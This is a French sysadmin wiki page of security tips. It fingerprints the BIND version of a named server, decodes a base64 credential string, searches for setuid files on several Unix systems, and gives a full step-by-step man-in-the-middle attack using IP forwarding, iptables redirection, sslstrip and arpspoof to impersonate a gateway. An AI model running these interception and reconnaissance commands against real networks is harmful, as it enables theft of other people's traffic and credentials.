Sécu-Tips : Différence entre versions

De UnixWiki
Aller à : navigation, rechercher
(Aucune différence)

Version du 11 novembre 2013 à 01:37

Connaître la version de Bind à distance

 # nslookup -q=txt -class=CHAOS version.bind 213.186.33.99

ou

 # fpdns -D 213.186.33.99

Décoder une chaîne en base64

 #perl -MMIME::Base64 -le 'print decode_base64 ("c2VjcmV00k1BbUdvZa---")'
 secret:IamGod




MITM Attack avec sslstrip

Activer le mode forwarding.

 echo "1" > /proc/sys/net/ipv4/ip_forward

Rediriger le traffic HTTP sur sslstrip avec iptables.

 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>

Lancer sslstrip sslstrip.

 sslstrip.py -l <listenPort>

Lancer arpspoof pour se faire passer pour la gateway

 arpspoof -i <interface> -t <targetIP> <gatewayIP>

How does this work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

At this point, sslstrip receives the traffic and does its magic.


Recherche du bit setuid

SunOS

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -print

AIX

 find / -type f \( -perm -4000 -o -perm -2000 \) -print

Linux

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -print

HP-UX

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -prin